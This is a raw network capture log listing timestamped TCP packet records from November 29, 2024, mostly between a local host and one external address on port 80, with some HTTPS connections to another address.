Nov 29, 2024 19:49:47.560184002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.560185909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.560306072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.561147928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.561208963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.561270952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.561311007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.562267065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.562381029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.562443972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.563373089 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.563430071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.563479900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.563532114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.564503908 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.564555883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.564639091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.564692020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.565623999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.565709114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.565718889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.565908909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.566752911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.566818953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.566832066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.566864967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.567902088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.567965984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.567970991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.568027973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.568959951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.569024086 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.569058895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.569102049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.570095062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.570171118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.570204973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.570417881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.571207047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.571273088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.571316957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.571480989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.605671883 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.605717897 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.605890036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.606117964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.606246948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.606319904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.607213020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.607271910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.607336044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.607383013 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.608609915 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.608673096 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.608736992 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.608788967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.609643936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.609761000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.609906912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.610572100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.610634089 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.610670090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.610766888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.611646891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.611704111 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.611728907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.611766100 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.612603903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.612659931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.612664938 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.612709999 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.613646984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.613764048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.613794088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.613976002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.614759922 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.614816904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.614909887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.614959002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.615906954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.615987062 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.616002083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.616045952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.617001057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.617052078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.617137909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.617185116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.618134975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.618190050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.618196011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.618398905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.619193077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.619261026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.619288921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.619329929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.620306969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.620362997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.620397091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.620434046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.621464014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.621524096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.621587992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.622549057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.622617960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.622653961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.622832060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.623714924 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.623780966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.623811007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.623886108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.624794960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.624857903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.624887943 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.624959946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.625986099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.626035929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.626100063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.626144886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.627074957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.627125978 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.627182007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.627696991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.628319025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.628371954 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.628401041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.628439903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.629394054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.629451036 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.629487991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.629681110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.630414009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.630467892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.630506039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.630544901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.631503105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.631555080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.631597042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.631639004 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.632630110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.632653952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.632688046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.632709026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.633799076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.633826017 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.633892059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.634876013 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.634951115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.635015965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.635056973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.635978937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.636034012 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.636039972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.636101961 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.637095928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.637170076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.637195110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.637280941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.743550062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:47.743627071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.771327019 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.771394014 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.771450043 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.771924019 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.771943092 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.771955013 CET	49791	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.771960974 CET	443	49791	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.782278061 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.782332897 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.782440901 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.782763004 CET	49796	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.782777071 CET	443	49796	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.872972012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:47.955962896 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.956032038 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.956137896 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.956418991 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.956437111 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.956453085 CET	49792	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.956459045 CET	443	49792	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.960025072 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.960072994 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.960313082 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.960313082 CET	49797	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:47.960371017 CET	443	49797	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:47.993068933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.327739954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.327752113 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.327832937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.328011036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.328028917 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.328078032 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.329133987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.329185963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.329188108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.329230070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.330229998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.330290079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.330324888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.330373049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.331475019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.331526041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.331546068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.331588030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.332559109 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.332611084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.460098028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.460161924 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.460170984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.460221052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.460437059 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.460499048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.460525990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.460566998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.461541891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.461666107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.461714983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.462672949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.462723970 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.462852001 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.463033915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.463856936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.463903904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.463994026 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.464049101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.464917898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.464981079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.465015888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.465061903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.465987921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.466042995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.466226101 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.466274023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.467144966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.467195988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.467231989 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.467268944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.468216896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.468260050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.468326092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.468375921 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.469347000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.469392061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.469472885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.469528913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.470563889 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.470717907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.470771074 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.471584082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.472021103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.472071886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.592900038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.592950106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.593015909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.593041897 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.593398094 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.593451023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.593480110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.593538046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.594500065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.594559908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.594932079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.594989061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.595093966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.595141888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.596376896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.596435070 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.596438885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.596477985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.597153902 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.597224951 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.597279072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.597321987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.598364115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.598412991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.598551035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.598599911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.599373102 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.599420071 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.599504948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.599551916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.600528002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.600583076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.600611925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.600656033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.601630926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.601680994 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.601824999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.601871967 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.602847099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.602895021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.603060961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.603110075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.604001045 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.604013920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.604068995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.605062962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.605113983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.605168104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.605218887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.606059074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.606107950 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.606134892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.606194019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.607275963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.607289076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.607337952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.607337952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.608321905 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.608375072 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.608429909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.608484030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.609412909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.609462023 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.609617949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.609668016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.610642910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.610692978 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.610711098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.610757113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.611705065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.611758947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.611774921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.611819029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.612804890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.612853050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.612992048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.613038063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.613900900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.613961935 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.614037991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.614084005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.614993095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.615036964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.615103006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.615150928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.616142035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.616192102 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.616206884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.616251945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.725527048 CET	80	49772	185.215.113.206	192.168.2.5
